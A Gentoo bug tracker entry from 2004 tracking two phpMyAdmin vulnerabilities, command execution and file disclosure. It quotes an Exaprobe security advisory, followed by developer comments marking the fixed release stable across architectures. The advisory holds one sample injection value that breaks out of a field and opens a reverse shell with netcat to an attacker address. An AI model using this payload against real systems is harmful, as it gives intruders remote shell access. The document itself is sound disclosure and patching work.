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Bug 74303 - dev-db/phpmyadmin: Multiple vulnerabilities
Summary: dev-db/phpmyadmin: Multiple vulnerabilities
Status: RESOLVED FIXED
Alias: None
Product: Gentoo Security
Classification: Unclassified
Component: Vulnerabilities (show other bugs)
Hardware: All All
: High normal (vote)
Assignee: Gentoo Security
URL: http://www.phpmyadmin.net/home_page/s...
Whiteboard: B1 [glsa] jaervosz
Keywords:
Depends on:
Blocks:
 
Reported: 2004-12-13 10:23 UTC by Aarni Honka
Modified: 2004-12-19 12:24 UTC (History)
1 user (show)

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Description Aarni Honka 2004-12-13 10:23:49 UTC
Exaprobe
                            www.exaprobe.com

                           Security Advisory

 Advisory Name: Multiple vulnerabilities in phpMyAdmin
  Release Date: 13 December 2004
   Application: phpMyAdmin prior to 2.6.1-rc1
      Platform: Any webserver running PHP
      Severity: Remote code execution
        Author: Nicolas Gregoire <ngregoire@exaprobe.com>
 Vendor Status: Updated code is available
CVE Candidates: CAN-2004-1147 and CAN-2004-1148
     Reference: www.exaprobe.com/labs/advisories/esa-2004-1213.html


Overview :
==========

phpMyAdmin is a tool written in PHP intended to handle the 
administration of MySQL over the Web. Currently it can create and
drop databases, create/drop/alter tables, delete/edit/add fields,
execute any SQL statement, manage keys on fields, manage privileges,
export data into various formats and is available in 47 languages.


Technical details :
===================

Command execution :

	- bug introduced in 2.6.0-pl2
	- attacker does *not* need access to the phpMyAdmin interface
	- PHP safe mode must be off
	- external transformations must be activated
	- sample of offensive value : F\';nc -e /bin/sh $IP 80;echo \'A

File disclosure :

	- attacker need access to the phpMyAdmin interface
	- PHP safe mode must be off
	- $cfg['UploadDir'] must be defined
	- exploitation is done via 'sql_localfile'


Vendor Response :
=================

After notification by Exaprobe, maintainers of the phpMyAdmin
project have released version 2.6.1-rc1 which fixes these two
vulnerabilities.


Recommendation :
================

Upgrade to 2.6.1-rc1 or newer.
Desactivate uploads and transformations if possible.


CVE Information :
=================

The Common Vulnerabilities and Exposures (CVE) project has assigned 
the following names to these issues.  These are candidates for 
inclusion in the CVE list (http://cve.mitre.org), which standardizes 
names for security problems.

  CAN-2004-1147  Command execution in phpMyAdmin
  CAN-2004-1148  File disclosure in phpMyAdmin
Comment 1 Sune Kloppenborg Jeppesen (RETIRED) gentoo-dev 2004-12-13 11:33:22 UTC
Tom please advise.
Comment 2 Tom Payne (RETIRED) gentoo-dev 2004-12-14 03:44:18 UTC
2.6.1_rc1 contains fix. Stable on x86. Other arches, please mark stable.

Cheers,

Tom
Comment 3 Sune Kloppenborg Jeppesen (RETIRED) gentoo-dev 2004-12-14 04:01:43 UTC
Thx Tom,

Arches please mark 2.6.1_rc1 stable.
Comment 4 Guy Martin (RETIRED) gentoo-dev 2004-12-14 06:49:39 UTC
Stable on hppa.
Comment 5 Bryan Østergaard (RETIRED) gentoo-dev 2004-12-14 14:21:35 UTC
Alpha stable.
Comment 6 Jason Wever (RETIRED) gentoo-dev 2004-12-14 17:39:11 UTC
Stable
On
SPARC
Comment 7 Jochen Maes (RETIRED) gentoo-dev 2004-12-14 22:49:08 UTC
stable on PPC
Comment 8 Jochen Maes (RETIRED) gentoo-dev 2004-12-15 04:19:19 UTC
forgot to remove the mail
Comment 9 Simon Stelling (RETIRED) gentoo-dev 2004-12-16 11:06:32 UTC
amd64 done
Comment 10 Thierry Carrez (RETIRED) gentoo-dev 2004-12-17 14:25:54 UTC
Ready to go
Comment 11 Sune Kloppenborg Jeppesen (RETIRED) gentoo-dev 2004-12-19 12:24:19 UTC
GLSA 200412-19